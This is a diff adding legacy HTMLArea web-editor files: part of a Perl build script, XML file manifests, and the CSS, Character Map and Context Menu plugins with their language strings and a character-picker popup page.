+ } else {
+ $files = [ $tmp ];
+ }
+ process_files($files, $target);
+ }
+
+ $tmp = $config->{files}{dir};
+ if (defined $tmp) {
+ my $subdirs;
+ if (ref($tmp) eq 'ARRAY') {
+ $subdirs = $tmp;
+ } else {
+ $subdirs = [ $tmp ];
+ }
+ foreach my $i (@{$subdirs}) {
+ process_directory($i->{ATTR}{name}, $path.$dir);
+ }
+ }
+
+ # get back to our previous location
+ chdir $cwd;
+}
+
+# this does all the XML parsing shit we'll need for our little task
+sub parseXML {
+ my ($filename) = @_;
+ my $rethash = {};
+
+ my @tagstack;
+
+ my $handler_start = sub {
+ my ($parser, $tag, @attrs) = @_;
+ my $current_tag = {};
+ $current_tag->{NAME} = $tag;
+ $current_tag->{DATA} = '';
+ push @tagstack, $current_tag;
+ if (scalar @attrs) {
+ my $attrs = {};
+ $current_tag->{ATTR} = $attrs;
+ while (scalar @attrs) {
+ my $name = shift @attrs;
+ my $value = shift @attrs;
+ $attrs->{$name} = $value;
+ }
+ }
+ };
+
+ my $handler_char = sub {
+ my ($parser, $data) = @_;
+ if ($data =~ /\S/) {
+ $tagstack[$#tagstack]->{DATA} .= $data;
+ }
+ };
+
+ my $handler_end = sub {
+ my $current_tag = pop @tagstack;
+ if (scalar @tagstack) {
+ my $tmp = $tagstack[$#tagstack]->{$current_tag->{NAME}};
+ if (defined $tmp) {
+ ## better build an array, there are more elements with this tagname
+ if (ref($tmp) eq 'ARRAY') {
+ ## oops, the ARRAY is already there, just add the new element
+ push @{$tmp}, $current_tag;
+ } else {
+ ## create the array "in-place"
+ $tagstack[$#tagstack]->{$current_tag->{NAME}} = [ $tmp, $current_tag ];
+ }
+ } else {
+ $tagstack[$#tagstack]->{$current_tag->{NAME}} = $current_tag;
+ }
+ } else {
+ $rethash->{$current_tag->{NAME}} = $current_tag;
+ }
+ };
+
+ my $parser = new XML::Parser
+ ( Handlers => { Start => $handler_start,
+ Char => $handler_char,
+ End => $handler_end } );
+ $parser->parsefile($filename);
+
+ return $rethash;
+}
+
+# print somethign according to the level of verbosity
+# receives: verbosity_level and message
+# prints message if verbosity_level >= $verbosity (global)
+sub speak {
+ my ($v, $t) = @_;
+ if ($v < 0) {
+ print STDERR "\033[1;31m!! $t\033[0m\n";
+ } elsif ($verbosity >= $v) {
+ print $t, "\n";
+ }
+}
--- /dev/null
+<files>
+ <file name="*.{js,html,css,cgi}" />
+ <file name="license.txt" />
+ <file name="release-notes.html" masonize="yes" />
+ <file name="index.html" masonize="yes" />
+ <file name="ChangeLog" />
+
+ <dir name="lang" />
+ <dir name="plugins" />
+ <dir name="popups" />
+ <dir name="images" />
+ <dir name="examples" />
+
+ <shell dir="dest"><![CDATA[
+ find . -type d -exec chmod 755 {} \; ;
+ find . -type f -exec chmod 644 {} \; ;
+ find . -type f -name "*.cgi" -exec chmod 755 {} \; ;
+ ]]></shell>
+</files>
--- /dev/null
+// Simple CSS (className) plugin for the editor
+// Sponsored by http://www.miro.com.au
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo.
+//
+// (c) dynarch.com 2003
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: css.js,v 1.1.1.1 2006/05/01 16:46:13 cscott Exp $
+
+function CSS(editor, params) {
+ this.editor = editor;
+ var cfg = editor.config;
+ var toolbar = cfg.toolbar;
+ var self = this;
+ var i18n = CSS.I18N;
+ var plugin_config = params[0];
+ var combos = plugin_config.combos;
+
+ var first = true;
+ for (var i = combos.length; --i >= 0;) {
+ var combo = combos[i];
+ var id = "CSS-class" + i;
+ var css_class = {
+ id : id,
+ options : combo.options,
+ action : function(editor) { self.onSelect(editor, this, combo.context, combo.updatecontextclass); },
+ refresh : function(editor) { self.updateValue(editor, this); },
+ context : combo.context
+ };
+ cfg.registerDropdown(css_class);
+
+ // prepend to the toolbar
+ toolbar[1].splice(0, 0, first ? "separator" : "space");
+ toolbar[1].splice(0, 0, id);
+ if (combo.label)
+ toolbar[1].splice(0, 0, "T[" + combo.label + "]");
+ first = false;
+ }
+};
+
+CSS._pluginInfo = {
+ name : "CSS",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "Mihai Bazon",
+ sponsor : "Miro International",
+ sponsor_url : "http://www.miro.com.au",
+ license : "htmlArea"
+};
+
+CSS.prototype.onSelect = function(editor, obj, context, updatecontextclass) {
+ var tbobj = editor._toolbarObjects[obj.id];
+ var index = tbobj.element.selectedIndex;
+ var className = tbobj.element.value;
+
+ // retrieve parent element of the selection
+ var parent = editor.getParentElement();
+ var surround = true;
+
+ var is_span = (parent && parent.tagName.toLowerCase() == "span");
+ var update_parent = (context && updatecontextclass && parent && parent.tagName.toLowerCase() == context);
+
+ if (update_parent) {
+ parent.className = className;
+ editor.updateToolbar();
+ return;
+ }
+
+ if (is_span && index == 0 && !/\S/.test(parent.style.cssText)) {
+ while (parent.firstChild) {
+ parent.parentNode.insertBefore(parent.firstChild, parent);
+ }
+ parent.parentNode.removeChild(parent);
+ editor.updateToolbar();
+ return;
+ }
+
+ if (is_span) {
+ // maybe we could simply change the class of the parent node?
+ if (parent.childNodes.length == 1) {
+ parent.className = className;
+ surround = false;
+ // in this case we should handle the toolbar updation
+ // ourselves.
+ editor.updateToolbar();
+ }
+ }
+
+ // Other possibilities could be checked but require a lot of code. We
+ // can't afford to do that now.
+ if (surround) {
+ // shit happens ;-) most of the time. this method works, but
+ // it's dangerous when selection spans multiple block-level
+ // elements.
+ editor.surroundHTML("<span class='" + className + "'>", "</span>");
+ }
+};
+
+CSS.prototype.updateValue = function(editor, obj) {
+ var select = editor._toolbarObjects[obj.id].element;
+ var parent = editor.getParentElement();
+ if (typeof parent.className != "undefined" && /\S/.test(parent.className)) {
+ var options = select.options;
+ var value = parent.className;
+ for (var i = options.length; --i >= 0;) {
+ var option = options[i];
+ if (value == option.value) {
+ select.selectedIndex = i;
+ return;
+ }
+ }
+ }
+ select.selectedIndex = 0;
+};
--- /dev/null
+// none yet; this file is a stub.
+CSS.I18N = {};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
+
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+</files>
+
--- /dev/null
+// Character Map plugin for HTMLArea
+// Sponsored by http://www.systemconcept.de
+// Implementation by Holger Hees based on HTMLArea XTD 1.5 (http://mosforge.net/projects/htmlarea3xtd/)
+// Original Author - Bernhard Pfeifer novocaine@gmx.net
+//
+// (c) systemconcept.de 2004
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+function CharacterMap(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ var toolbar = cfg.toolbar;
+ var self = this;
+ var i18n = CharacterMap.I18N;
+
+ cfg.registerButton({
+ id : "insertcharacter",
+ tooltip : i18n["CharacterMapTooltip"],
+ image : editor.imgURL("ed_charmap.gif", "CharacterMap"),
+ textMode : false,
+ action : function(editor) {
+ self.buttonPress(editor);
+ }
+ })
+
+ var a, i, j, found = false;
+ for (i = 0; !found && i < toolbar.length; ++i) {
+ a = toolbar[i];
+ for (j = 0; j < a.length; ++j) {
+ if (a[j] == "inserthorizontalrule") {
+ found = true;
+ break;
+ }
+ }
+ }
+ if (found)
+ a.splice(j, 0, "insertcharacter");
+ else{
+ toolbar[1].splice(0, 0, "separator");
+ toolbar[1].splice(0, 0, "insertcharacter");
+ }
+};
+
+CharacterMap._pluginInfo = {
+ name : "CharacterMap",
+ version : "1.0",
+ developer : "Holger Hees & Bernhard Pfeifer",
+ developer_url : "http://www.systemconcept.de/",
+ c_owner : "Holger Hees & Bernhard Pfeifer",
+ sponsor : "System Concept GmbH & Bernhard Pfeifer",
+ sponsor_url : "http://www.systemconcept.de/",
+ license : "htmlArea"
+};
+
+CharacterMap.prototype.buttonPress = function(editor) {
+ editor._popupDialog( "plugin://CharacterMap/select_character", function( entity )
+ {
+ if ( !entity )
+ {
+ //user must have pressed Cancel
+ return false;
+ }
+
+ editor.insertHTML( entity );
+
+ }, null);
+}
+
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+// I18N constants
+
+// LANG: "de", ENCODING: UTF-8 | ISO-8859-1
+// Sponsored by http://www.systemconcept.de
+// Author: Holger Hees, <hhees@systemconcept.de>
+//
+// (c) systemconcept.de 2004
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+CharacterMap.I18N = {
+ "CharacterMapTooltip" : "Sonderzeichen einfügen",
+ "Insert special character" : "Sonderzeichen einfügen",
+ "HTML value:" : "HTML Wert:",
+ "Cancel" : "Abbrechen"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Sponsored by http://www.systemconcept.de
+// Author: Holger Hees, <hhees@systemconcept.de>
+//
+// (c) systemconcept.de 2004
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+CharacterMap.I18N = {
+ "CharacterMapTooltip" : "Insert special character",
+ "Insert special character" : "Insert special character",
+ "HTML value:" : "HTML value:",
+ "Cancel" : "Cancel"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+ <dir name="img" />
+ <dir name="popups" />
+</files>
+
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+</files>
+
--- /dev/null
+<html>
+<head>
+<title>Insert special character</title>
+<style type="text/css">
+@import url(../../../htmlarea.css);
+td.character {
+ font-family: Verdana,Arial,Helvetica,sans-serif;
+ font-size: 14px;
+ font-weight: bold;
+ text-align: center;
+ background: #FFF;
+ padding: 4px;
+}
+
+td.character-hilite {
+ background: Highlight;
+ color: HighlightText;
+}
+
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+table .label { text-align: right; width: 8em; }
+
+.title { background: none; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+#buttons {
+ margin-top: 1em; border-top: 1px solid #999;
+ padding: 2px; text-align: right;
+}
+</style>
+<script type="text/javascript" src="../../../popups/popup.js"></script>
+<script type="text/javascript">
+// HTMLSource based on HTMLArea XTD 1.5 (http://mosforge.net/projects/htmlarea3xtd/) modified by Holger Hees
+// Original Author - Bernhard Pfeifer novocaine@gmx.net
+//opener = window.parent;
+if(window.opener != null)
+{
+ CharacterMap = window.opener.CharacterMap(opener.editor); // load the CharacterMap plugin and lang file ;-)
+}
+window.resizeTo(600, 350);
+// center on parent
+var x = 250;//opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+var y = 250;//opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+window.moveTo(x, y);
+window.resizeTo(600, 350);
+
+function _CloseOnEsc()
+{
+ if ( event.keyCode == 27 )
+ {
+ window.close();
+ return;
+ }
+}
+
+function Init() // run on page load
+{
+ //__dlg_translate(CharacterMap.I18N);
+ __dlg_init();
+ document.body.onkeypress = _CloseOnEsc;
+
+ var character = ''; // set default input to empty
+ View( null, character );
+}
+
+var oldView = null;
+function View( td, character ) // preview character
+{
+ if (oldView)
+ oldView.className = oldView.className.replace(/\s+character-hilite/, '');
+ document.getElementById( 'characterPreview' ).value = character;
+ document.getElementById( 'showCharacter' ).value = character;
+ if (td)
+ (oldView = td).className += " character-hilite";
+}
+
+function Set( string ) // return character
+{
+ var character = string;
+
+ __dlg_close( character );
+}
+
+function onCancel() // cancel selection
+{
+ __dlg_close( null );
+
+ return false;
+};
+
+</script>
+</head>
+<body style="background: Buttonface; margin: 0px; padding: 0px" onload="Init();self.focus();">
+<form method="get" style="margin:2px; padding:2px" onSubmit="Set(document.getElementById('showCharacter').value); return false;">
+<table border="0" cellspacing="0" cellpadding="4" width="100%">
+ <tr>
+ <td style="background: Buttonface" valign="center"><div style="padding: 1px; white-space: nowrap; font-family: tahoma,arial,sans-serif; font-size: 11px; font-weight: normal;">HTML value:<div id="characterPreview"></div></div></td>
+ <td style="background: Buttonface" valign="center"><input type="text" name="showcharacter" id="showCharacter" value="" size="15" style="background: #fff; font-size: 11px;" /></td>
+ <td style="background: Buttonface" width="100%"></td>
+ </tr>
+</table>
+</form>
+<table border="0" cellspacing="1" cellpadding="0" width="100%" style="cursor: pointer; background: #ADAD9C; border: 1px inset;">
+<tr>
+<td class="character" onMouseOver="View(this,'&Yuml;')" onClick="Set('Ÿ')">Ÿ</td>
+<td class="character" onMouseOver="View(this,'&scaron;')" onClick="Set('š')">š</td>
+<td class="character" onMouseOver="View(this,'&#064;')" onClick="Set('@')">@</td>
+<td class="character" onMouseOver="View(this,'&quot;')" onClick="Set('"')">"</td>
+<td class="character" onMouseOver="View(this,'&iexcl;')" onClick="Set('¡')">¡</td>
+<td class="character" onMouseOver="View(this,'&cent;')" onClick="Set('¢')">¢</td>
+<td class="character" onMouseOver="View(this,'&pound;')" onClick="Set('£')">£</td>
+<td class="character" onMouseOver="View(this,'&curren;')" onClick="Set('¤')">¤</td>
+<td class="character" onMouseOver="View(this,'&yen;')" onClick="Set('¥')">¥</td>
+<td class="character" onMouseOver="View(this,'&brvbar;')" onClick="Set('¦')">¦</td>
+<td class="character" onMouseOver="View(this,'&sect;')" onClick="Set('§')">§</td>
+<td class="character" onMouseOver="View(this,'&uml;')" onClick="Set('¨')">¨</td>
+<td class="character" onMouseOver="View(this,'&copy;')" onClick="Set('©')">©</td>
+<td class="character" onMouseOver="View(this,'&ordf;')" onClick="Set('ª')">ª</td>
+<td class="character" onMouseOver="View(this,'&laquo;')" onClick="Set('«')">«</td>
+<td class="character" onMouseOver="View(this,'&not;')" onClick="Set('¬')">¬</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&macr;')" onClick="Set('¯')">¯</td>
+<td class="character" onMouseOver="View(this,'&deg;')" onClick="Set('°')">°</td>
+<td class="character" onMouseOver="View(this,'&plusmn;')" onClick="Set('±')">±</td>
+<td class="character" onMouseOver="View(this,'&sup2;')" onClick="Set('²')">²</td>
+<td class="character" onMouseOver="View(this,'&sup3;')" onClick="Set('³')">³</td>
+<td class="character" onMouseOver="View(this,'&acute;')" onClick="Set('´')">´</td>
+<td class="character" onMouseOver="View(this,'&micro;')" onClick="Set('µ')">µ</td>
+<td class="character" onMouseOver="View(this,'&para;')" onClick="Set('¶')">¶</td>
+<td class="character" onMouseOver="View(this,'&middot;')" onClick="Set('·')">·</td>
+<td class="character" onMouseOver="View(this,'&cedil;')" onClick="Set('¸')">¸</td>
+<td class="character" onMouseOver="View(this,'&sup1;')" onClick="Set('¹')">¹</td>
+<td class="character" onMouseOver="View(this,'&ordm;')" onClick="Set('º')">º</td>
+<td class="character" onMouseOver="View(this,'&raquo;')" onClick="Set('»')">»</td>
+<td class="character" onMouseOver="View(this,'&frac14;')" onClick="Set('¼')">¼</td>
+<td class="character" onMouseOver="View(this,'&frac12;')" onClick="Set('½')">½</td>
+<td class="character" onMouseOver="View(this,'&frac34;')" onClick="Set('¾')">¾</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&iquest;')" onClick="Set('¿')">¿</td>
+<td class="character" onMouseOver="View(this,'&times;')" onClick="Set('×')">×</td>
+<td class="character" onMouseOver="View(this,'&Oslash;')" onClick="Set('Ø')">Ø</td>
+<td class="character" onMouseOver="View(this,'&divide;')" onClick="Set('÷')">÷</td>
+<td class="character" onMouseOver="View(this,'&oslash;')" onClick="Set('ø')">ø</td>
+<td class="character" onMouseOver="View(this,'&fnof;')" onClick="Set('ƒ')">ƒ</td>
+<td class="character" onMouseOver="View(this,'&circ;')" onClick="Set('ˆ')">ˆ</td>
+<td class="character" onMouseOver="View(this,'&tilde;')" onClick="Set('˜')">˜</td>
+<td class="character" onMouseOver="View(this,'&ndash;')" onClick="Set('–')">–</td>
+<td class="character" onMouseOver="View(this,'&mdash;')" onClick="Set('—')">—</td>
+<td class="character" onMouseOver="View(this,'&lsquo;')" onClick="Set('‘')">‘</td>
+<td class="character" onMouseOver="View(this,'&rsquo;')" onClick="Set('’')">’</td>
+<td class="character" onMouseOver="View(this,'&sbquo;')" onClick="Set('‚')">‚</td>
+<td class="character" onMouseOver="View(this,'&ldquo;')" onClick="Set('“')">“</td>
+<td class="character" onMouseOver="View(this,'&rdquo;')" onClick="Set('”')">”</td>
+<td class="character" onMouseOver="View(this,'&bdquo;')" onClick="Set('„')">„</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&dagger;')" onClick="Set('†')">†</td>
+<td class="character" onMouseOver="View(this,'&Dagger;')" onClick="Set('‡')">‡</td>
+<td class="character" onMouseOver="View(this,'&bull;')" onClick="Set('•')">•</td>
+<td class="character" onMouseOver="View(this,'&hellip;')" onClick="Set('…')">…</td>
+<td class="character" onMouseOver="View(this,'&permil;')" onClick="Set('‰')">‰</td>
+<td class="character" onMouseOver="View(this,'&lsaquo;')" onClick="Set('‹')">‹</td>
+<td class="character" onMouseOver="View(this,'&rsaquo;')" onClick="Set('›')">›</td>
+<td class="character" onMouseOver="View(this,'&euro;')" onClick="Set('€')">€</td>
+<td class="character" onMouseOver="View(this,'&trade;')" onClick="Set('™')">™</td>
+<td class="character" onMouseOver="View(this,'&Agrave;')" onClick="Set('À')">À</td>
+<td class="character" onMouseOver="View(this,'&Aacute;')" onClick="Set('Á')">Á</td>
+<td class="character" onMouseOver="View(this,'&Acirc;')" onClick="Set('Â')">Â</td>
+<td class="character" onMouseOver="View(this,'&Atilde;')" onClick="Set('Ã')">Ã</td>
+<td class="character" onMouseOver="View(this,'&Auml;')" onClick="Set('Ä')">Ä</td>
+<td class="character" onMouseOver="View(this,'&Aring;')" onClick="Set('Å')">Å</td>
+<td class="character" onMouseOver="View(this,'&AElig;')" onClick="Set('Æ')">Æ</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&Ccedil;')" onClick="Set('Ç')">Ç</td>
+<td class="character" onMouseOver="View(this,'&Egrave;')" onClick="Set('È')">È</td>
+<td class="character" onMouseOver="View(this,'&Eacute;')" onClick="Set('É')">É</td>
+<td class="character" onMouseOver="View(this,'&Ecirc;')" onClick="Set('Ê')">Ê</td>
+<td class="character" onMouseOver="View(this,'&Euml;')" onClick="Set('Ë')">Ë</td>
+<td class="character" onMouseOver="View(this,'&Igrave;')" onClick="Set('Ì')">Ì</td>
+<td class="character" onMouseOver="View(this,'&Iacute;')" onClick="Set('Í')">Í</td>
+<td class="character" onMouseOver="View(this,'&Icirc;')" onClick="Set('Î')">Î</td>
+<td class="character" onMouseOver="View(this,'&Iuml;')" onClick="Set('Ï')">Ï</td>
+<td class="character" onMouseOver="View(this,'&ETH;')" onClick="Set('Ð')">Ð</td>
+<td class="character" onMouseOver="View(this,'&Ntilde;')" onClick="Set('Ñ')">Ñ</td>
+<td class="character" onMouseOver="View(this,'&Ograve;')" onClick="Set('Ò')">Ò</td>
+<td class="character" onMouseOver="View(this,'&Oacute;')" onClick="Set('Ó')">Ó</td>
+<td class="character" onMouseOver="View(this,'&Ocirc;')" onClick="Set('Ô')">Ô</td>
+<td class="character" onMouseOver="View(this,'&Otilde;')" onClick="Set('Õ')">Õ</td>
+<td class="character" onMouseOver="View(this,'&Ouml;')" onClick="Set('Ö')">Ö</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&reg;')" onClick="Set('®')">®</td>
+<td class="character" onMouseOver="View(this,'&times;')" onClick="Set('×')">×</td>
+<td class="character" onMouseOver="View(this,'&Ugrave;')" onClick="Set('Ù')">Ù</td>
+<td class="character" onMouseOver="View(this,'&Uacute;')" onClick="Set('Ú')">Ú</td>
+<td class="character" onMouseOver="View(this,'&Ucirc;')" onClick="Set('Û')">Û</td>
+<td class="character" onMouseOver="View(this,'&Uuml;')" onClick="Set('Ü')">Ü</td>
+<td class="character" onMouseOver="View(this,'&Yacute;')" onClick="Set('Ý')">Ý</td>
+<td class="character" onMouseOver="View(this,'&THORN;')" onClick="Set('Þ')">Þ</td>
+<td class="character" onMouseOver="View(this,'&szlig;')" onClick="Set('ß')">ß</td>
+<td class="character" onMouseOver="View(this,'&agrave;')" onClick="Set('à')">à</td>
+<td class="character" onMouseOver="View(this,'&aacute;')" onClick="Set('á')">á</td>
+<td class="character" onMouseOver="View(this,'&acirc;')" onClick="Set('â')">â</td>
+<td class="character" onMouseOver="View(this,'&atilde;')" onClick="Set('ã')">ã</td>
+<td class="character" onMouseOver="View(this,'&auml;')" onClick="Set('ä')">ä</td>
+<td class="character" onMouseOver="View(this,'&aring;')" onClick="Set('å')">å</td>
+<td class="character" onMouseOver="View(this,'&aelig;')" onClick="Set('æ')">æ</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&ccedil;')" onClick="Set('ç')">ç</td>
+<td class="character" onMouseOver="View(this,'&egrave;')" onClick="Set('è')">è</td>
+<td class="character" onMouseOver="View(this,'&eacute;')" onClick="Set('é')">é</td>
+<td class="character" onMouseOver="View(this,'&ecirc;')" onClick="Set('ê')">ê</td>
+<td class="character" onMouseOver="View(this,'&euml;')" onClick="Set('ë')">ë</td>
+<td class="character" onMouseOver="View(this,'&igrave;')" onClick="Set('ì')">ì</td>
+<td class="character" onMouseOver="View(this,'&iacute;')" onClick="Set('í')">í</td>
+<td class="character" onMouseOver="View(this,'&icirc;')" onClick="Set('î')">î</td>
+<td class="character" onMouseOver="View(this,'&iuml;')" onClick="Set('ï')">ï</td>
+<td class="character" onMouseOver="View(this,'&eth;')" onClick="Set('ð')">ð</td>
+<td class="character" onMouseOver="View(this,'&ntilde;')" onClick="Set('ñ')">ñ</td>
+<td class="character" onMouseOver="View(this,'&ograve;')" onClick="Set('ò')">ò</td>
+<td class="character" onMouseOver="View(this,'&oacute;')" onClick="Set('ó')">ó</td>
+<td class="character" onMouseOver="View(this,'&ocirc;')" onClick="Set('ô')">ô</td>
+<td class="character" onMouseOver="View(this,'&otilde;')" onClick="Set('õ')">õ</td>
+<td class="character" onMouseOver="View(this,'&ouml;')" onClick="Set('ö')">ö</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&divide;')" onClick="Set('÷')">÷</td>
+<td class="character" onMouseOver="View(this,'&oslash;')" onClick="Set('ø')">ø</td>
+<td class="character" onMouseOver="View(this,'&ugrave;')" onClick="Set('ù')">ù</td>
+<td class="character" onMouseOver="View(this,'&uacute;')" onClick="Set('ú')">ú</td>
+<td class="character" onMouseOver="View(this,'&ucirc;')" onClick="Set('û')">û</td>
+<td class="character" onMouseOver="View(this,'&uuml;')" onClick="Set('ü')">ü</td>
+<td class="character" onMouseOver="View(this,'&yacute;')" onClick="Set('ý')">ý</td>
+<td class="character" onMouseOver="View(this,'&thorn;')" onClick="Set('þ')">þ</td>
+<td class="character" onMouseOver="View(this,'&yuml;')" onClick="Set('ÿ')">ÿ</td>
+<td class="character" onMouseOver="View(this,'&OElig;')" onClick="Set('Œ')">Œ</td>
+<td class="character" onMouseOver="View(this,'&oelig;')" onClick="Set('œ')">œ</td>
+<td class="character" onMouseOver="View(this,'&Scaron;')" onClick="Set('Š')">Š</td>
+<td class="character"> </td>
+<td class="character"> </td>
+<td class="character"> </td>
+<td class="character"> </td>
+</table><br />
+<form style="text-align: center;"><button type="button" name="cancel" onclick="return onCancel();" class="submitInsertTable">Cancel</button></form>
+<script type="text/javascript">
+
+window.resizeTo(600, 350);
+</script>
+</body>
+</html>
--- /dev/null
+#! /usr/bin/perl -w
+
+use strict;
+
+my $file = 'context-menu.js';
+my $outfile = $file.'-i18n';
+my $langfile = 'en.js';
+
+open FILE, "<$file";
+#open OUTFILE, ">$outfile";
+#open LANGFILE, ">$langfile";
+my %texts = ();
+while (<FILE>) {
+ if (/"(.*?)"/) {
+ my $inline = $_;
+ chomp $inline;
+ my $key = $1;
+ my $val = $1;
+ print "Key: [$key]: ";
+ my $line = <STDIN>;
+ if (defined $line) {
+ chomp $line;
+ if ($line =~ /(\S+)/) {
+ $key = $1;
+ print "-- using $key\n";
+ }
+ $texts{$val} = $key;
+ } else {
+ print " -- skipped...\n";
+ }
+ }
+}
+#close LANGFILE;
+#close OUTFILE;
+close FILE;
+
+print "\n\n\n";
+print '"', join("\"\n\"", sort keys %texts), '"', "\n";
--- /dev/null
+// Context Menu Plugin for HTMLArea-3.0
+// Sponsored by www.americanbible.org
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: context-menu.js,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+
+HTMLArea.loadStyle("menu.css", "ContextMenu");
+
+function ContextMenu(editor) {
+ this.editor = editor;
+};
+
+ContextMenu._pluginInfo = {
+ name : "ContextMenu",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "dynarch.com",
+ sponsor : "American Bible Society",
+ sponsor_url : "http://www.americanbible.org",
+ license : "htmlArea"
+};
+
+ContextMenu.prototype.onGenerate = function() {
+ var self = this;
+ var doc = this.editordoc = this.editor._iframe.contentWindow.document;
+ HTMLArea._addEvents(doc, ["contextmenu"],
+ function (event) {
+ return self.popupMenu(HTMLArea.is_ie ? self.editor._iframe.contentWindow.event : event);
+ });
+ this.currentMenu = null;
+};
+
+ContextMenu.prototype.getContextMenu = function(target) {
+ var self = this;
+ var editor = this.editor;
+ var config = editor.config;
+ var menu = [];
+ var tbo = this.editor.plugins.TableOperations;
+ if (tbo) tbo = tbo.instance;
+ var i18n = ContextMenu.I18N;
+
+ var selection = editor.hasSelectedText();
+ if (selection)
+ menu.push([ i18n["Cut"], function() { editor.execCommand("cut"); }, null, config.btnList["cut"][1] ],
+ [ i18n["Copy"], function() { editor.execCommand("copy"); }, null, config.btnList["copy"][1] ]);
+ menu.push([ i18n["Paste"], function() { editor.execCommand("paste"); }, null, config.btnList["paste"][1] ]);
+
+ var currentTarget = target;
+ var elmenus = [];
+
+ var link = null;
+ var table = null;
+ var tr = null;
+ var td = null;
+ var img = null;
+
+ function tableOperation(opcode) {
+ tbo.buttonPress(editor, opcode);
+ };
+
+ for (; target; target = target.parentNode) {
+ var tag = target.tagName;
+ if (!tag)
+ continue;
+ tag = tag.toLowerCase();
+ switch (tag) {
+ case "img":
+ img = target;
+ elmenus.push(null,
+ [ i18n["Image Properties"],
+ function() {
+ editor._insertImage(img);
+ },
+ i18n["Show the image properties dialog"],
+ config.btnList["insertimage"][1] ]
+ );
+ break;
+ case "a":
+ link = target;
+ elmenus.push(null,
+ [ i18n["Modify Link"],
+ function() { editor.execCommand("createlink", true, link.href); },
+ i18n["Current URL is"] + ': ' + link.href,
+ config.btnList["createlink"][1] ],
+
+ [ i18n["Check Link"],
+ function() { window.open(link.href); },
+ i18n["Opens this link in a new window"] ],
+
+ [ i18n["Remove Link"],
+ function() {
+ if (confirm(i18n["Please confirm that you want to unlink this element."] + "\n" +
+ i18n["Link points to:"] + " " + link.href)) {
+ while (link.firstChild)
+ link.parentNode.insertBefore(link.firstChild, link);
+ link.parentNode.removeChild(link);
+ }
+ },
+ i18n["Unlink the current element"] ]
+ );
+ break;
+ case "td":
+ td = target;
+ if (!tbo) break;
+ elmenus.push(null,
+ [ i18n["Cell Properties"],
+ function() { tableOperation("TO-cell-prop"); },
+ i18n["Show the Table Cell Properties dialog"],
+ config.btnList["TO-cell-prop"][1] ]
+ );
+ break;
+ case "tr":
+ tr = target;
+ if (!tbo) break;
+ elmenus.push(null,
+ [ i18n["Row Properties"],
+ function() { tableOperation("TO-row-prop"); },
+ i18n["Show the Table Row Properties dialog"],
+ config.btnList["TO-row-prop"][1] ],
+
+ [ i18n["Insert Row Before"],
+ function() { tableOperation("TO-row-insert-above"); },
+ i18n["Insert a new row before the current one"],
+ config.btnList["TO-row-insert-above"][1] ],
+
+ [ i18n["Insert Row After"],
+ function() { tableOperation("TO-row-insert-under"); },
+ i18n["Insert a new row after the current one"],
+ config.btnList["TO-row-insert-under"][1] ],
+
+ [ i18n["Delete Row"],
+ function() { tableOperation("TO-row-delete"); },
+ i18n["Delete the current row"],
+ config.btnList["TO-row-delete"][1] ]
+ );
+ break;
+ case "table":
+ table = target;
+ if (!tbo) break;
+ elmenus.push(null,
+ [ i18n["Table Properties"],
+ function() { tableOperation("TO-table-prop"); },
+ i18n["Show the Table Properties dialog"],
+ config.btnList["TO-table-prop"][1] ],
+
+ [ i18n["Insert Column Before"],
+ function() { tableOperation("TO-col-insert-before"); },
+ i18n["Insert a new column before the current one"],
+ config.btnList["TO-col-insert-before"][1] ],
+
+ [ i18n["Insert Column After"],
+ function() { tableOperation("TO-col-insert-after"); },
+ i18n["Insert a new column after the current one"],
+ config.btnList["TO-col-insert-after"][1] ],
+
+ [ i18n["Delete Column"],
+ function() { tableOperation("TO-col-delete"); },
+ i18n["Delete the current column"],
+ config.btnList["TO-col-delete"][1] ]
+ );
+ break;
+ case "body":
+ elmenus.push(null,
+ [ i18n["Justify Left"],
+ function() { editor.execCommand("justifyleft"); }, null,
+ config.btnList["justifyleft"][1] ],
+ [ i18n["Justify Center"],
+ function() { editor.execCommand("justifycenter"); }, null,
+ config.btnList["justifycenter"][1] ],
+ [ i18n["Justify Right"],
+ function() { editor.execCommand("justifyright"); }, null,
+ config.btnList["justifyright"][1] ],
